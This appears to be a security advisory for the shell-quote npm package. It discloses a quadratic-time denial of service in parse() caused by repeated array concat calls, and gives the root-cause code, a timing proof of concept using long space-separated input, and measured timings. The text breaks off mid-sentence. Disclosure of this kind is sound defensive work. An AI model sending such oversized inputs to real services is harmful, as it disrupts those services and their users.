GHSA-395f-4hp3-45gv: shell-quote: Quadratic-complexity Denial of Service in `parse()` (CWE-407)

Summary shell-quote's parse() finalizes its token list with a reduce that uses Array.prototype.concat as the accumulator. Each prev.concat(arg) copies the entire growing array, so parse() runs in O(n²) in the number of tokens. An unauthenticated attacker who can submit a string to any code path that calls parse() on it can block the single-threaded Node.js event loop for tens of seconds with a small input — a denial of service. The trigger needs no shell metacharacters (plain space-separated words suffice), so input filters that only screen for ;, |, $, or backticks do not help. Root cause parse.js (lines 200–203), in parseInternal — this path runs on every parse() call: }).reduce(function (prev, arg) { // finalize parsed arguments // TODO: replace this whole reduce with a concat return typeof arg === 'undefined' ? prev : prev.concat(arg); }, []); prev.concat(arg) allocates a new array and copies all of prev on every iteration, so producing an N-token result costs 1 + 2 + … + N = O(N²) copies. A second acc.concat(s) reduce in the module.exports wrapper (lines 211–224, reached only when env is a function) has the same shape. The maintainer's own // TODO: replace this whole reduce with a concat already flags the construct. Proof of Concept const { parse } = require('shell-quote'); const ms = fn => { const t = process.hrtime.bigint(); fn(); return Number(process.hrtime.bigint()-t)/1e6; }; for (const N of [16000, 32000, 64000, 128000]) { console.log(N, 'tokens ->', ms(() => parse('x '.repeat(N))).toFixed(0), 'ms'); } Measured on shell-quote@1.8.4, Node v24: | input (N tokens) | bytes | parse() | ratio vs prev (2× input) | |-----------------:|-------:|----------:|:------------------------:| | 16 000 | 32 KB | 678 ms | — | | 32 000 | 64 KB | 4 169 ms | ×6.2 | | 64 000 | 128 KB | 14 914 ms | ×3.6 | | 128 000 | 256 KB | 57 319 ms | ×3.8 | Time grows ~×4 per 2× input → confirmed O(n²). A ~128 KB input blocks the event loop ~15 s; ~256 KB → ~57 s; a few hundred KB mor